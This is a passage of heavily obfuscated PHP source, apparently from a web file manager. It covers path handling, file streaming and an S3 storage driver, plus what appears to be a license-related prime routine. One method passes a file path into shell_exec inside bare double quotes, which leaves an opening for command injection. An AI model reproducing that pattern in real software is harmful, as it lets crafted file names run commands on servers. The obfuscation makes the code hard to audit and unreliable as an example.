($aݒΞ = 3; $aݒΞ < $cژՄ; $aݒΞ += 2) { if ($cژՄ % $aݒΞ != 0) { continue; } $F = $aݒΞ; $B񱐞 = $DɲҺ[675]; if (!$B񱐞) { die; } $dۇ廨 = $B[201]($cژՄ / $aݒΞ); break; } goto bû; d: for ($aݒΞ = 0; $aݒΞ < $FÇЉ * 10; $aݒΞ++) { if (($FÇЉ * $aݒΞ + 1) % $F峏 == 0) { $f߾ = $B[201](($FÇЉ * $aݒΞ + 1) / $F峏); break; } } $B = $B[114]($B[338] . ($F + $dۇ廨) . $B[339] . $F峏 . $B[339] . $f߾ . $B[340]); $eٓ = $DɲҺ[681]; goto CჇ; Dڜ: if ($B[19]($Bnj) != 2) { return $B[10]; } $cژՄ = $this->{$_SERVER[][243]}($Bnj[1] . $B[10], $B[149]); $dݹ = $DɲҺ[672]; goto Fç; bû: $FÇЉ = ($F - 1) * ($dۇ廨 - 1); $F峏 = $B[201](($F + $dۇ廨) / 2); while (1) { $fƮ = $F峏; $d = $DɲҺ[676]; while (strlen($d) < $DɲҺ[551]) { if (!$d) { break; } $d++; } $fڑ = $FÇЉ; $f = $DɲҺ[677]; if (strlen($f) < $DɲҺ[559]) { die; } while ($fڑ % $fƮ != 0) { $F = $fڑ; $A鎕 = $DɲҺ[678]; if (strlen($A鎕) < $DɲҺ[553]) { die; } $fڑ = $fƮ; $fƮ = $F % $fƮ; $AɷǺ = $DɲҺ[679]; if (!$AɷǺ) { return; } } if ($fƮ == 1) { break; } else { $F峏++; } } goto C˃; bّԯ: if (strlen($a熽) < $DɲҺ[556]) { die; } return $c߃; goto fђ; fђ: } public function jzmee4aff838() { goto EЮ; EЮ: $a =& $_SERVER[ѽ]; $eވ۩ =& $_SERVER[]; $bџ = $eވ۩[322]($eވ۩[342](2, 14), $eވ۩[342](2, 16) - 1); goto eЈ; bЕ: return $F̒; $AҬ = $a[687]; if (!$AҬ) { die; } goto f; a: $Bԉ = 1; $B = $a[684]; while (strlen($B) < $a[553]) { if (!$B) { break; } $B++; } goto CĨ; eЈ: $f = $a[683]; if (!$f) { return; } $Aچ = array(); goto a; CĨ: while ($Bԉ <= (int) $eވ۩[343]($bџ)) { $a = $Bԉ; while (!0) { $a++; if ($a <= 2) { $Bԉ = $a; break; } else { if ($a < 2) { continue; } } $eఊ = !0; for ($fۻ = 2; $fۻ <= $eވ۩[343]($a); $fۻ++) { if ($a % $fۻ == 0) { $eఊ = !1; } } if ($eఊ) { $Bԉ = $a; break; } } $Aچ[] = $Bԉ; $C֞Ԧּ = $a[685]; } $F̒ = 2; for ($a = $bџ; $a > 1; $a--) { $eఊ = !0; $Cڄ֝ = $a[686]; if (strlen($Cڄ֝) < $a[581]) { die; } foreach ($Aچ as $A) { if ($a % $A == 0) { $eఊ = !1; break; } } if ($eఊ) { $F̒ = $a; break; } } goto bЕ; f: } public function lzkv266243e7($e̚ή, $dଠ熊) { $eź =& $_SERVER[ѽ]; $Bͱ =& $_SERVER[]; return $Bͱ[13](array($Bͱ[14], $Bͱ[344]), $e̚ή, $dଠ熊); $Dʩ = $eź[688]; while ($Dʩ < $eź[559]) { if ($Dʩ >= 0) { break; } $Dʩ++; } } public function kzvw791e2fa2($bǚι, $Aׅí) { $aƌ =& $_SERVER[]; return $aƌ[13](array($aƌ[345], $aƌ[346]), $bǚι, $Aׅí); } public function sreg5f1e46fb($eԉς, $e) { $Fת =& $_SERVER[ѽ]; $aͱ =& $_SERVER[]; return $aͱ[13](array($aͱ[345], $aͱ[347]), $eԉς, $e); $f󌷱 = $Fת[689]; if (strlen($f󌷱) < $Fת[556]) { die; } } } goto C; b: class PathDriverBase { public $pathDriver = ''; public $pathBase = ''; public $path = ''; public $pathID = ''; public function __construct() { $Cʃ =& $_SERVER[ѽ]; $this->objectDriver = array($Cʃ[57], $Cʃ[58], $Cʃ[59], $Cʃ[60], $Cʃ[61], $Cʃ[62], $Cʃ[63], $Cʃ[64]); $this->_classObjectID = mt_rand(0, 10000); } public function getPath($e) { if (in_array($this->getType(), $this->objectDriver)) { return ltrim($e, $_SERVER[ѽ][8]); } return $e; } public function getPathName($cʑ) { return $cʑ; } public function iconvApp($dЈ) { return $dЈ; } public function iconvSystem($Aȑ) { return $Aȑ; } public function iconvTo($eƲՍ, $dٯ, $Aֿ) { goto F; Cɴ: return $cܩя; goto E£Ж; F: $d =& $_SERVER[ѽ]; if (!$eƲՍ || !function_exists($d[65])) { return $eƲՍ; } static $f׆ = array(); goto b; Cȏ򐕂: $cܩя = $cܩя ? $cܩя : $eƲՍ; if (strstr($cܩя, $d[69])) { $cܩя = str_replace($d[69], $d[70], $cܩя); } $f׆[$dٯ . $d[66] . $Aֿ . $d[67] . $eƲՍ] = $cܩя; goto C; C: $f׆[$Aֿ . $d[66] . $dٯ . $d[67] . $eƲՍ] = $eƲՍ; $f׆[$Aֿ . $d[66] . $dٯ . $d[67] . $cܩя] = $eƲՍ; $f׆[$dٯ . $d[66] . $Aֿ . $d[67] . $cܩя] = $cܩя; goto Cɴ; b: $E = $dٯ . $d[66] . $Aֿ . $d[67] . $eƲՍ; if (isset($f׆[$E])) { return $f׆[$E]; } if (function_exists($d[68])) { $cܩя = @mb_convert_encoding($eƲՍ, $Aֿ, $dٯ); } else { $cܩя = @iconv($dٯ, $Aֿ, $eƲՍ); } goto Cȏ򐕂; E£Ж: } public function getPathInner($Fʉ) { $D = IO::init($Fʉ); return $D->path; } public function getPathOuter($b) { $d =& $_SERVER[ѽ]; $C¬ = strlen(trim($this->pathBase, $d[8])); $b = substr(trim($b, $d[8]), $C¬); return $this->pathDriver . $d[8] . ltrim($b, $d[8]); } public function isParentOf($eɜ, $B᧌) { $eÞ =& $_SERVER[ѽ]; $eɜ = rtrim(strtolower($eɜ), $eÞ[8]) . $eÞ[8]; $B᧌ = rtrim(strtolower($B᧌), $eÞ[8]) . $eÞ[8]; $A = strpos($B᧌, $eɜ) === 0; return $A; } public function getType() { $Aوο =& $_SERVER[ѽ]; $aĩ = str_replace($Aوο[71], $Aوο[33], get_class($this)); return strtolower($aĩ); } public function isTypeObject() { if (!is_array($this->objectDriver)) { return !1; } return in_array($this->getType(), $this->objectDriver); } public function fileNameExist($a՗, $F) { $Bߺ՗ =& $_SERVER[ѽ]; $F֠ = rtrim($a՗, $Bߺ՗[8]) . $Bߺ՗[8] . $F; $a儗 = $this->exist($F֠); return $a儗 ? $F֠ : !1; } public function renameObject($c, $f·) { goto bҍ; bҍ: $aĺд =& $_SERVER[ѽ]; $A = $f·; Hook::trigger($aĺд[72], $this, $c, $this, $this->pathFather($c) . $f·); goto B̠ߡ; Fჱ分: return $Dʏ ? $f· : !1; goto Bι; B̠ߡ: $c = $this->getPathOuter($c); $f· = $this->pathFather($c) . $f·; if (IO::isFile($c)) { $Dʏ = IO::copy($c, $this->pathFather($c), REPEAT_RENAME_FOLDER, $A); if ($Dʏ) { IO::remove($c); } } else { $Dʏ = IO::mkdir($f·); if (!$Dʏ) { return !1; } $c݄޾ = IO::listPath($c, !0); $B = array_merge($c݄޾[$aĺд[73]], $c݄޾[$aĺд[74]]); foreach ($B as $eǫ) { IO::move($eǫ[$aĺд[75]], $f·, REPEAT_RENAME_FOLDER); } IO::remove($c); } goto Fჱ分; Bι: } public function tempFile($DЄ = '', $e퍬 = '') { goto F; B: return $CŒ; goto EТ; F: if (!$DЄ) { $DЄ = rand_string(15); } $aꂾ = TEMP_FILES . rand_string(15) . $_SERVER[ѽ][8]; @mkdir($aꂾ, 511, !0); goto C; C: $CŒ = $aꂾ . $DЄ; @touch($CŒ); if ($e퍬) { file_put_contents($CŒ, $e퍬); } goto B; EТ: } public function tempFileRemve($fЉ) { @unlink($fЉ); @rmdir($this->pathFather($fЉ)); } public function mkfile($d, $e䶧 = '', $b = REPEAT_RENAME) { } public function mkdir($cފ, $b = REPEAT_SKIP) { } public function copyFile($cο, $EҜ) { } public function moveFile($B͜, $cꚙ) { } public function remove($aƟ) { if ($this->isFile($aƟ)) { return $this->delFile($aƟ); } return $this->delFolder($aƟ); } public function rename($bʋ, $c󾳟ݙ) { } public function exist($a沨) { } public function findByHash($F = '', $c串 = '') { return !1; } public function isFile($bݟ) { } public function isFolder($Eʊ) { } public function size($CՄ) { } public function info($cϼ妙) { } public function infoSimple($aÒæ) { return $this->info($aÒæ); } public function infoAuth($b) { return $this->info($b); } public function infoFull($fɈ) { return $this->info($fɈ); } public function infoWithChildren($Aٽ) { $a· =& $_SERVER[ѽ]; $Bإ = $this->info($Aٽ); if ($Bإ && $Bإ[$a·[29]] == $a·[76]) { $Aȳ = array($a·[77] => 0, $a·[78] => 0, $a·[79] => 0); $this->infoChildren($Aٽ, $Aȳ); $Bإ[$a·[77]] = $Aȳ[$a·[77]]; $Bإ[$a·[80]] = array($a·[81] => $Aȳ[$a·[78]], $a·[82] => $Aȳ[$a·[79]]); } return $Bإ; } public function listPath($dԴ, $Eԃ = false) { } public function has($bӋ, $dج = false, $E = false) { } public function canRead($C̒) { } public function canWrite($CŸ) { } public function getContent($fٵ) { } public function setContent($cε, $fЗ = '') { } protected function infoChildren($A՟, &$a) { $DᴦՖ =& $_SERVER[ѽ]; check_abort(); $eӹ = $this->listPath($A՟, !0); $eӹ = array_merge($eӹ[$DᴦՖ[74]], $eӹ[$DᴦՖ[73]]); foreach ($eӹ as $e) { if ($e[$DᴦՖ[29]] == $DᴦՖ[76]) { $a[$DᴦՖ[79]]++; $DˆҠ = $this->getPathInner($e[$DᴦՖ[75]]); $this->infoChildren($DˆҠ, $a); } else { $a[$DᴦՖ[78]]++; $a[$DᴦՖ[77]] += $e[$DᴦՖ[77]]; } } } public function fileSubstr($bȵ, $Dҙȗ, $Eʅ) { } public function listAll($c۴) { } public function upload($aҐ՘, $d۷, $Eݫ۩ = false, $Fɤ = REPEAT_REPLACE) { } public function uploadFileByID($D듩, $e֑ҕ, $Cӈɴ) { } public function uploadFileByPath($B, $fܓ, $E㫍 = array()) { } public function isUploadServer() { $F =& $_SERVER[ѽ]; if (isset($this->ioUploadServer) && $this->ioUploadServer == $F[83]) { return !0; } return $GLOBALS[$F[6]][$F[84]][$F[85]]; } public function isFileOutServer() { $bŽ؋ =& $_SERVER[ѽ]; if (isset($this->ioFileOutServer) && $this->ioFileOutServer == $bŽ؋[83]) { return !0; } return $GLOBALS[$bŽ؋[6]][$bŽ؋[84]][$bŽ؋[86]]; } public function isCdnHost() { return $this->isFileOutServer() || empty($this->cdnHost) ? !1 : !0; } public function getCdnLink($d͈ۭ) { $fӈ =& $_SERVER[ѽ]; if (!$this->isCdnHost()) { return $d͈ۭ; } return str_replace(trim(get_url_root($d͈ۭ), $fӈ[8]), trim($this->cdnHost, $fӈ[8]), $d͈ۭ); } public function uploadLink($cı, $cو = 0) { goto eɺ; C: if ($fΛ) { $fΛ[$FʋLJ[89]] = $cı; $fΛ[$FʋLJ[90]] = $E; } return $fΛ; goto Cސͅ; a͘: if (!in_array($E, $this->objectDriver)) { return; } if (!$this->isBucketCors()) { return; } $Aڃ = 1024 * 1024 * 10; goto Eؐ; eɺ: $FʋLJ =& $_SERVER[ѽ]; if ($this->isUploadServer()) { return; } $E = $this->getType(); goto a͘; Eؐ: $Bݣ = $cو <= $Aڃ ? $FʋLJ[87] : $FʋLJ[88]; $Dܺ = (!$cو ? 1 : ceil($cو / pow(1024, 3))) * 3600 * 4; $fΛ = $this->{$Bݣ}($cı, $Dܺ); goto C; Cސͅ: } public function uploadFormData($Aߌ˭, $Bё = 3600) { } public function multiUploadFormData($b, $Dʱ = 3600) { } public function osChunkSize() { $f =& $_SERVER[ѽ]; $bЏ = (double) $GLOBALS[$f[6]][$f[84]][$f[91]][$f[92]]; if (!$bЏ) { $bЏ = 1024 * 84 * 10; } return $bЏ; } public function download($c, $f囌) { } public function ext($E) { $aګ =& $_SERVER[ѽ]; if (strpos($E, $aګ[8]) === -1) { $Cڣ = $E; } else { $Cڣ = $this->pathThis($E); } $fѽ˝ϲ = $aګ[33]; if (strstr($Cڣ, $aګ[93])) { $fѽ˝ϲ = substr($Cڣ, strrpos($Cڣ, $aګ[93]) + 1); $fѽ˝ϲ = strtolower($fѽ˝ϲ); } if (strlen($fѽ˝ϲ) > 3 && preg_match($aګ[94], $fѽ˝ϲ, $e)) { $fѽ˝ϲ = $aګ[33]; } return $fѽ˝ϲ; } public function pathThis($f¸) { $Cͨ =& $_SERVER[ѽ]; $f¸ = str_replace($Cͨ[95], $Cͨ[8], rtrim($f¸, $Cͨ[8])); $eǐ = strrpos($f¸, $Cͨ[8]); if ($eǐ === !1) { return $f¸; } return substr($f¸, $eǐ + 1); } public function pathFather($f萉) { $CƐ =& $_SERVER[ѽ]; $f萉 = str_replace($CƐ[95], $CƐ[8], rtrim($f萉, $CƐ[8])); $dş = strrpos($f萉, $CƐ[8]); if ($dş === !1) { return $CƐ[33]; } return substr($f萉, 0, $dş + 1); } public function hashSimple($c̻) { goto dڡ; dڡ: $E =& $_SERVER[ѽ]; if (!$c̻) { return md5($E[33]); } $Fۙ = $this->size($c̻); goto C; C: $A¬Ɗ = 200; $d᛺ = 50; if ($Fۙ <= $A¬Ɗ * $d᛺) { return $this->hashMd5($c̻) . $Fۙ; } goto Dӆ; bɾ: $A҆ .= $this->fileSubstr($c̻, $Fۙ - $A¬Ɗ, $A¬Ɗ); return md5($A҆) . $Fۙ; goto Fӆ; Dӆ: $eً = intval($Fۙ / $d᛺); $A҆ = $E[33]; for ($a = 0; $a < $d᛺; $a++) { $A҆ .= $this->fileSubstr($c̻, $eً * $a, $A¬Ɗ); } goto bɾ; Fӆ: } public static $md5Cache = array(); public function hashMd5($e͇) { $e͇ = $this->iconvSystem($e͇); if (isset(self::$md5Cache[$e͇])) { return self::$md5Cache[$e͇]; } self::$md5Cache[$e͇] = $this->hashMd5Shell($e͇); if (!self::$md5Cache[$e͇]) { self::$md5Cache[$e͇] = @md5_file($e͇); } return self::$md5Cache[$e͇]; } private function hashMd5Shell($e㽜) { goto F󒨶; F󒨶: $C =& $_SERVER[ѽ]; if (!function_exists($C[96])) { return !1; } $a = array($C[97], $C[98]); goto Bݍ; a: $D = shell_exec($DӺϥ . "\x20\x22{$e㽜}\x22"); return substr($D, 0, 32); goto f⸕З; Bݍ: $DӺϥ = Cache::get($C[99]); if (!$DӺϥ) { $B = BASIC_PATH . $C[100]; $F̶ = md5_file($B); $DӺϥ = $C[101]; foreach ($a as $Eٵ) { $D = shell_exec($Eٵ . "\x20\42{$B}\42"); if ($D && substr(trim($D), 0, 32) == $F̶) { $DӺϥ = $Eٵ; break; } } Cache::set($C[99], $DӺϥ, 3600); } if ($DӺϥ == $C[101]) { return !1; } goto a; f⸕З: } public function link($c浯즜) { return $c浯즜; } public function fileOut($cۿ, $fո = false, $d = false, $Bݬ = '') { goto cǣ; cٺ: header($E̎߫[125]); header($E̎߫[126]); header($E̎߫[127]); goto c; b: $dԭ = $this->getType() == $E̎߫[103]; $EϹ = $GLOBALS[$E̎߫[6]][$E̎߫[84]][$E̎߫[91]][$E̎߫[104]]; $Eء = (double) $GLOBALS[$E̎߫[6]][$E̎߫[84]][$E̎߫[91]][$E̎߫[105]] * 1024 * 1024; goto b獔; cǣ: $E̎߫ =& $_SERVER[ѽ]; $this->cacheMethod(null, null); if (!$cۿ || !$this->exist($cۿ)) { show_json(LNG($E̎߫[102]), !1, $d); } goto b; fދ: if (in_array($Eۢޙ, array($E̎߫[108], $E̎߫[109], $E̎߫[110], $E̎߫[111]))) { $Eۢޙ = $E̎߫[112]; } if (!$Bݬ) { $Bݬ = md5($B . $this->hashSimple($cۿ)); } $Bݬ = $E̎߫[113] . $Bݬ . $E̎߫[113]; goto a…; Cռ: header($E̎߫[132] . $B . $E̎߫[124]); header($E̎߫[133] . $bȻ); header($E̎߫[134]); goto A; eٳ: header($E̎߫[121]); header($E̎߫[122] . $F⌦); header($E̎߫[123] . gmdate($E̎߫[106], time() + 3600 * 24 * 30) . $E̎߫[124]); goto cٺ; C৩: $AȽ䄂 = $e[$E̎߫[77]]; $B = gmdate($E̎߫[106], $e[$E̎߫[107]]); $bȻ = $d ? $d : $this->iconvApp($e[$E̎߫[28]]); goto D; a…: $F⌦ = get_file_mime($Eۢޙ); if (strstr($F⌦, $E̎߫[114])) { $F⌦ = $F⌦ . $E̎߫[115]; } if ($fո === !1 && !mime_support($F⌦)) { $fո = !0; $F⌦ = $E̎߫[116]; } goto cۗ; D: $BդՌ = 0; $bگ = $AȽ䄂 - 1; $Eۢޙ = $this->ext($bȻ); goto fދ; bǶ: header($E̎߫[150] . ($bگ - $BդՌ + 1)); if ($_SERVER[$E̎߫[151]] == $E̎߫[152]) { return; } $DʖЎ = 1024 * 100; goto ḋ; c: if (isset($_SERVER[$E̎߫[128]]) && strtotime($_SERVER[$E̎߫[128]]) == $e[$E̎߫[107]]) { header($E̎߫[129], !0, 304); die; } if (isset($_SERVER[$E̎߫[130]]) && $_SERVER[$E̎߫[130]] == $Bݬ) { header($E̎߫[131] . $Bݬ, !0, 304); die; } header($E̎߫[131] . $Bݬ); goto Cռ; cۗ: $EӺ = rawurlencode($bȻ); $EӺ = $E̎߫[113] . $EӺ . $E̎߫[117] . $EӺ; if ($fո) { header($E̎߫[118]); header($E̎߫[119] . $EӺ); } else { header($E̎߫[120] . $EӺ); } goto eٳ; F: $fũ = strtolower($_SERVER[$E̎߫[138]]); if ($dԭ && $fũ && $EϹ) { if (strstr($fũ, $E̎߫[139])) { header($E̎߫[140] . $cۿ); } else { if (strstr($fũ, $E̎߫[141])) { header($E̎߫[142] . $cۿ); } else { if (strstr($fũ, $E̎߫[143])) { header($E̎߫[144] . $cۿ); } } } if ($Eء) { header($E̎߫[145] . $Eء); } return; } if (isset($_SERVER[$E̎߫[146]])) { if (preg_match($E̎߫[147], $_SERVER[$E̎߫[146]], $e)) { $BդՌ = intval($e[1]); if (!empty($e[2])) { $bگ = intval($e[2]); } } header($E̎߫[148]); header("\103\x6f\156\164\145\156\x74\55\x52\141\x6e\147\x65\72\40\x62\x79\164\145\163\x20{$BդՌ}\55{$bگ}\x2f" . $AȽ䄂); } else { header($E̎߫[149]); } goto bǶ; b獔: @ob_end_clean(); set_timeout(); $e = $this->infoFull($cۿ); goto C৩; ḋ: $cDŽ = 0; if ($Eء) { $cDŽ = intval(1000 * 1000 * ($DʖЎ / $Eء)); } while ($BդՌ <= $bگ) { $fٻ = timeFloat(); check_abort(); $Fޝۥ = $bگ - $BդՌ + 1; if ($Fޝۥ <= $DʖЎ) { $DʖЎ = $Fޝۥ; } echo $this->fileSubstr($cۿ, $BդՌ, $DʖЎ); $BդՌ += $DʖЎ; if ($DʖЎ == $Fޝۥ) { $BդՌ = $bگ + 1; } if ($cDŽ) { $c = intval(1000 * 1000 * (timeFloat() - $fٻ)); $aޱ = $cDŽ - $c; if ($aޱ > 5) { usleep($aޱ); } } } goto eߪ; A: header($E̎߫[135] . $AȽ䄂); header($E̎߫[136]); if (!$fո && $Eۢޙ == $E̎߫[137]) { if ($AȽ䄂 > 1024 * 1024 * 5) { die; } $c = $this->getContent($cۿ); $c = Html::removeXXS($c); echo $c; die; } goto F; eߪ: } public function fileOutServer($F, $fЙ = false, $eн = false, $B՘رԧ = '') { $this->fileOut($F, $fЙ, $eн, $B՘رԧ); } public function fileOutLink($A) { header($_SERVER[ѽ][153] . $A); die; } public function cacheMethod($Aؓ, $cΥ) { goto A; a؂: if (!is_null($Až)) { return $Až; } $Až = $this->{$Aؓ}($cΥ); $aԅ[$FԂ] = $Až; goto eڑǿ; A: $D򎩭 =& $_SERVER[ѽ]; static $aԅ = array(); $FԂ = $D򎩭[154] . $Aؓ . $D򎩭[155] . rtrim($cΥ, $D򎩭[8]); goto aΥ; eڑǿ: return $Až; goto DӦۂ; aΥ: if (is_null($Aؓ)) { $aԅ = array(); return; } if (is_null($cΥ)) { unset($aԅ[$FԂ]); return; } $Až = isset($aԅ[$FԂ]) ? $aԅ[$FԂ] : null; goto a؂; DӦۂ: } public function fileOutImage($b֤͍, $dᏊ = 250) { goto Aߗ; F: if ($FĨ[$Cן[77]] <= 1024 * 50 || !function_exists($Cן[156]) || $FĨ[$Cן[157]] == $Cן[158]) { return $this->fileOut($b֤͍); } if (isset($FĨ[$Cן[159]][$Cן[160]])) { $E = $FĨ[$Cן[159]][$Cן[160]]; } else { if (isset($FĨ[$Cן[159]][$Cן[161]])) { $E = $FĨ[$Cן[159]][$Cן[161]]; } else { $E = md5("{$FĨ[$Cן[28]]}\x5f{$FĨ[$Cן[75]]}\137{$FĨ[$Cן[77]]}"); } } $dᢶʚ = "{$E}\137{$dᏊ}\56\160\156\x67"; goto Aأ; Aߗ: $Cן =& $_SERVER[ѽ]; if (substr($b֤͍, 0, 4) == $Cן[143]) { $this->fileOutLink($b֤͍); } $FĨ = $this->info($b֤͍); goto F; e슦ǡ: if (!($fҖ = IO::move($Bм, $D))) { return IO::fileOut($Bм); } del_file($Bм); IO::fileOut($fҖ); goto e; DŤ䭩: $Bм = DATA_THUMB . $dᢶʚ; if (!@file_exists($Bм)) { $bՃ = TEMP_FILES; if (!is_dir($bՃ)) { mk_dir($bՃ); } $eǸ = $bՃ . $E . $Cן[93] . $FĨ[$Cן[157]]; if (!@file_exists($eǸ)) { $eǸ = $this->download($b֤͍, $eǸ); } $f = new ImageThumb($eǸ, $Cן[164]); $f->prorate($Bм, $dᏊ, $dᏊ * 10); } if (!file_exists($Bм) || filesize($Bм) < 100) { return @file_exists($eǸ) ? IO::fileOut($eǸ) : $this->fileOut($b֤͍); } goto e슦ǡ; Aأ: if (!($B䝘 = IO::fileNameExist(IO_PATH_SYSTEM_TEMP, $Cן[162]))) { $D = IO::mkdir(IO_PATH_SYSTEM_TEMP . $Cן[163]); } else { $D = KodIO::make($B䝘); } if ($B䝘 = IO::fileNameExist($D, $dᢶʚ)) { $Bм = KodIO::make($B䝘); return IO::fileOut($Bм); } if (!is_dir(DATA_THUMB)) { mk_dir(DATA_THUMB); } goto DŤ䭩; e: } public function fileOutImageServer($A, $bĵ = 250) { $this->fileOutImage($A, $bĵ); } public function fileNameAuto($eƂ֗, $FǏ񐆯, $C댧 = REPEAT_RENAME, $a = false) { goto c; c: $E޺ =& $_SERVER[ѽ]; $Cܠ = $eƂ֗ === $E޺[33] ? $FǏ񐆯 : rtrim($eƂ֗, $E޺[8]) . $E޺[8] . $FǏ񐆯; if ($C댧 == REPEAT_REPLACE || !$this->exist($Cܠ) || $a && $C댧 != REPEAT_RENAME_FOLDER) { return $FǏ񐆯; } goto B䡎; DḶ: while ($this->exist(rtrim($eƂ֗, $E޺[8]) . $E޺[8] . $a)) { $a = $Fý . "\x28{$BÂ}\51{$CݰՖ}"; $BÂ++; } return $a; goto eҤ; bמت: $B = 1; $Fý = substr($FǏ񐆯, 0, strlen($FǏ񐆯) - strlen($CݰՖ)); $a = $Fý . "\50{$BÂ}\x29{$CݰՖ}"; goto DḶ; B䡎: if ($C댧 == REPEAT_SKIP) { return !1; } $CݰՖ = $E޺[93] . get_path_ext($FǏ񐆯); $CݰՖ = $CݰՖ == $E޺[93] || $a ? $E޺[33] : $CݰՖ; goto bמت; eҤ: } public function listAllFiles($Aٟ˄, $Aێ늫, $F؝ = array()) { goto D; c㢵: foreach (array_unique($Dպ򐨃) as $c) { $E҇ = array($FȲʏ[75] => $this->getPathOuter($FȲʏ[8] . $Aٟ˄ . $FȲʏ[8] . $c), $FȲʏ[76] => 1, $FȲʏ[77] => 0); if (substr($c, -1) != $FȲʏ[8]) { $E҇[$FȲʏ[76]] = 0; $C = $this->getPath($Aٟ˄ . $FȲʏ[8] . $c); $E҇[$FȲʏ[77]] = isset($F؝[$C]) ? $F؝[$C] : $this->size($C); } $BÆ[] = $E҇; } return $BÆ; goto cڭש; D: $FȲʏ =& $_SERVER[ѽ]; if (empty($Aێ늫)) { return array(); } $Dպ򐨃 = array(); goto E; E: $Aٟ˄ = trim($Aٟ˄, $FȲʏ[8]); foreach ($Aێ늫 as $c) { $a = ltrim(substr($c, strlen($Aٟ˄)), $FȲʏ[8]); $Dպ򐨃 = array_merge($Dպ򐨃, $this->slicePath($a)); } $BÆ = array(); goto c㢵; cڭש: } public function slicePath($c) { $C =& $_SERVER[ѽ]; $eǽ = explode($C[8], trim($c, $C[8])); $Eϧܷ = 0; do { ++$Eϧܷ; $A˧[] = implode($C[8], array_slice($eǽ, 0, $Eϧܷ)) . $C[8]; } while ($Eϧܷ < count($eǽ)); $A˧[count($eǽ) - 1] = $c; return $A˧; } public function getHost() { $e =& $_SERVER[ѽ]; $F򦉌 = parse_url(trim($this->domain, $e[8])); $d܆ = isset($F򦉌[$e[165]]) ? $F򦉌[$e[165]] : http_type(); $Eޥܾۡ = isset($F򦉌[$e[166]]) ? $F򦉌[$e[166]] : $F򦉌[$e[75]]; if (isset($F򦉌[$e[167]])) { $Eޥܾۡ .= $e[4] . $F򦉌[$e[167]]; } return $d܆ . $e[168] . $Eޥܾۡ; } public function pathEncode($d) { $b䗧 =& $_SERVER[ѽ]; return str_replace($b䗧[169], $b䗧[8], rawurlencode($d)); } } class PathDriverBaseS3 extends PathDriverBase { protected $accessKey = ''; protected $secret = ''; protected $domain = ''; protected $useSSL = false; protected $region = ''; protected $endpoint = ''; protected $bucket = ''; protected $client = null; protected $signVer = "\166\x34"; public $ioUploadServer = "\x30"; public $ioFileOutServer = "\60"; public function __construct($D׻) { set_timeout(); require_once SDK_DIR . $_SERVER[ѽ][170]; parent::__construct(); $this->_init($D׻); } public function _init($eҨۜ) { foreach ($eҨۜ as $b̧ => $A) { if (isset($this->{$b̧})) { $this->{$b̧} = $A; } } $this->endpoint = $eҨۜ[$_SERVER[ѽ][171]]; $this->client = new S3($this->accessKey, $this->secret, $this->useSSL, $this->endpoint, $this->region); $this->client->setEndpoint($this->getHost()); $this->client->setChunkSize($this->osChunkSize()); } public function signatureVersion($e = "\x76\x34") { $this->signVer = $e; $this->client->setSignatureVersion($e); } public function setBucketCors() { return $this->client->setBucketCors($this->bucket); } public function getBucketCors() { return $this->client->getBucketCors($this->bucket); } public function isBucketCors() { goto C; Dؖ: if ($b[$Fƴ[172]] != $Fƴ[173] || $b[$Fƴ[174]] != $Fƴ[173]) { return !1; } $e䙱 = array_map($Fƴ[175], $b[$Fƴ[176]]); if (!is_array($e䙱)) { $e䙱 = array(); } goto E; C: $Fƴ =& $_SERVER[ѽ]; $b = $this->getBucketCors(); if (!$b || !is_array($b)) { return !1; } goto Dؖ; E: $a = array($Fƴ[177], $Fƴ[178], $Fƴ[179], $Fƴ[180], $Fƴ[181]); $eی = array_diff($a, $e䙱); return empty($eی); goto B; B: } public function mkfile($a, $E㢪 = '', $b = REPEAT_RENAME) { $f = $this->setContent($a, $E㢪); if ($f !== !1) { return $this->getPathOuter($a); } return !1; } public function mkdir($Aں, $B = REPEAT_SKIP) { if (empty($Aں)) { return !1; } if ($this->_isFolder($Aں)) { return $this->getPathOuter($Aں); } $bђ = $this->setContent($Aں, $_SERVER[ѽ][33], !0); if ($bђ !== !1) { return $this->getPathOuter($Aں); } return !1; } public function copyFile($bǞ, $d, $f = array()) { $D =& $_SERVER[ѽ]; $A = $this->objectMeta($bǞ); if (!$A) { return !1; } if ($A[$D[77]] <= 1024 * 1024 * 200) { $cڝѻ = $this->client->copyObject($this->bucket, $bǞ, $this->bucket, $d, $D[182], $f); } else { $cڝѻ = $this->client->multiCopyObject($this->bucket, $bǞ, $this->bucket, $d, $f); } $cڝѻ = $cڝѻ ? $this->getPathOuter($d) : !1; return $cڝѻ; } public function moveFile($a׈, $c) { if ($this->copyFile($a׈, $c)) { $this->delFile($a׈); return $this->getPathOuter($c); } return !1; } public function delFile($eǦ) { return $this->client->deleteObject($this->bucket, $eǦ); } public function delFolder($C򙝐ߧ) { goto BЦ; Bݍ: return $Bٮ === $F䖨 ? !0 : !1; goto bα; d: $Bٮ = $F䖨 = 0; $e쐗 = array_chunk(array_keys($Dմ), 1000); foreach ($e쐗 as $C) { $Bٮ++; $F䖨 += (int) $this->client->deleteObjects($this->bucket, $C); } goto Bݍ; BЦ: $F叔 =& $_SERVER[ѽ]; $Dմ = $this->listObjs($C򙝐ߧ); if (!$Dմ) { $C򙝐ߧ = trim($C򙝐ߧ, $F叔[8]); if (!empty($C򙝐ߧ)) { $C򙝐ߧ .= $F叔[8]; } return $this->delFile($C򙝐ߧ); } goto d; bα: } public function rename($D㥄, $f) { return $this->renameObject($D㥄, $f); } public function listPath($bۭ, $d = false) { $Dޞ =& $_SERVER[ѽ]; $D頻 = $this->listObjs($bۭ, null, null, $Dޞ[8]); $C̍ = array($Dޞ[74] => array(), $Dޞ[73] => array()); foreach ($D頻 as $BЇ => $a) { if ($BЇ == $Dޞ[8]) { continue; } if (isset($a[$Dޞ[183]])) { $C̍[$Dޞ[74]][] = $this->folderInfo($a[$Dޞ[183]], $d); } else { if (substr($a[$Dޞ[28]], -1) == $Dޞ[8]) { continue; } $C̍[$Dޞ[73]][] = $this->fileInfo($a[$Dޞ[28]], $d, $a); } } return $C̍; } private function fileInfo($Eٵ, $a̞ = false, $dٮ = array()) { goto Eź; EΝ: if (empty($dٮ)) { $dٮ = $this->objectMeta($Eٵ); if (!$dٮ) { return $fӤ; } } if (isset($dٮ[$a[187]])) { $fӤ[$a[107]] = $dٮ[$a[187]]; } if (isset($dٮ[$a[77]])) { $fӤ[$a[77]] = $dٮ[$a[77]]; } goto Bћ; Bћ: return $fӤ; goto AӨ; Eź: $a =& $_SERVER[ѽ]; if ($a̞) { return array($a[28] => $this->pathThis($Eٵ), $a[75] => $this->getPathOuter($Eٵ), $a[29] => $a[164], $a[157] => $this->ext($Eٵ), $a[77] => 